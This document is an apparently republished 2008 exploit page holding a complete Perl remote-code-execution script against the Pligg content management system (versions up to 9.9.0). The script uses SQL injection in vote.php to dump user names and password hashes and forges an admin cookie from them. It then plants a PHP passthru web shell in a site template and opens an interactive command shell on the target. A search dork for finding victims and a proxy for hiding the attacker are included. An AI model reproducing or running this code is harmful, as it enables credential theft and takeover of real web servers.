Pligg <= 9.9.0 Remote Code Execution Exploit

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Pligg <= 9.9.0 Remote Code Execution Exploit

来源：GulfTech Security 作者：GulfTech 发布时间：2008-07-31

#!/usr/bin/perl -w
use LWP::UserAgent;
use MIME::Base64;
use Digest::MD5 qw(md5_hex);
use Getopt::Std; getopts('h:', \%args);

print "#############################################\n";
print "# Pligg <= 9.9 Remote Code Execution Exploit \n";
print "#############################################\n";
#dork = "Powered By Pligg" + "Legal: License and Source"

# Proxy address
$ENV{http_proxy} = 'http://127.0.0.1:8118/';

my $http = LWP::UserAgent->new;
   $http->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
   #$http->env_proxy(); # <-- uncomment for proxy
   $http->cookie_jar({});

my $host = $args{'h'} || usage(); # Host flag. Specify the Pligg root directory
my $user = undef;
my $pass = undef;
my $file = undef;
my $data = undef;
my @auth = undef;

# Details for the php code that is injected in to the template
my $ereg = '<cmdout>(.*?)<\/cmdout>';
my $cvar = 'cmd';
my $cval = 'pwd;id';
my $code = '<cmdout><?php if ( !empty($_REQUEST["' . $cvar . '"]) ) passthru($_REQUEST["' . $cvar . '"]); ?></cmdout>';

print "[*] Checking if a shell already exists ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar => $cval
]);

if ( $data->content =~ /$ereg/si )
{
print "[*] Found existing shell ...\n";
}
else
{
print "[!] No existing shell found ...\n";

#############################################
# Gather user info via vote.php SQL Injection
#############################################

$data = $http->post(
$host . '/vote.php',
[
   'id' => '-99 UNION SELECT 1,2,3,null,5,6,concat(user_login,char(58),user_pass),8,9 FROM pligg_users -- /*',
   'md5' => 'd41d8cd98f00b204e9800998ecf8427e' # <-- If you aren't logged in this always works
]);

print "[*] Gathering user information ...\n";

if ( $data->content =~ /(.*?):([a-f0-9]{1,64})/i )
{
$user = $1;
$pass = $2;

# Sets up the cookie to authenticate us
@auth = ('Cookie' => 'mnm_user=' . $user . '; mnm_key=' . encode_base64($user . ':' . crypt($user, 22) . ':' . md5_hex($pass)) . ';');

print "[+] Got user '$user' ...\n";

}
else
{
print "[!] Unable to get user info. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

#############################################
# Get the template path
#############################################

print "[*] Gathering template information ...\n";

$data = $http->get($host . '/admin_editor.php',@auth);

if ( $data->content =~ />(.*?)<\/option>/i )
{
$file = $1;
# Quick and dirty fix
$file =~ s/admin_templates\/admin_access_denied.tpl/footer.tpl/;
print "[+] Got template file [$file]...\n";
}

#############################################
# Read the template contents
#############################################

$data = $http->post(
$host . '/admin_editor.php',
[
   'the_file' => $file,
   'open' => 'Open'
]
,@auth);

print "[*] Reading template data ...\n";

# Grab the template contents
if ( $data->content =~ /<textarea(.*)>(.*)<\/textarea>/is )
{
$temp = $2;
$temp =~ s/>/>/ig;
$temp =~ s/</</ig;
$temp =~ s/"/"/ig;
$temp =~ s/&/&/ig;

print "[+] Got template data ...\n";
}
else
{
print "[!] Unable to get template data. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

#############################################
# Update the Template Contents
#############################################

$data = $http->post(
$host . '/admin_editor.php',
[
   'the_file2'   => $file,
   'updatedfile' => $temp . $code,
   'save'        => 'Save+Changes'
]
,@auth);

print "[*] Updating template data ...\n";

if ( $data->content =~ /File Saved/is )
{
print "[+] File saved!\n";
}
else
{
print "[!] Unable to update template data. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}
}

#############################################
# Setting up the php shell
#############################################

print "[*] Setting up shell ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar => $cval
]);

if ( $data->content =~ /<cmdout>(.*?)<\/cmdout>/si )
{
while ( 1 )
{
print "pligg:~#";
$exec = <STDIN>;

$data = $http->post(
$host . '/index.php',
[
   $cvar => $exec
]);

if ( $data->content =~ /$ereg/si )
{
print $1 . "\n";
}
else
{
print "Unexpected Response!\n";
}
}
}
else
{
print "[!] Unable to set up shell ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

sub usage
{
print "pligg_exploit.pl -h http://path/to/pligg     \n";
exit;
}

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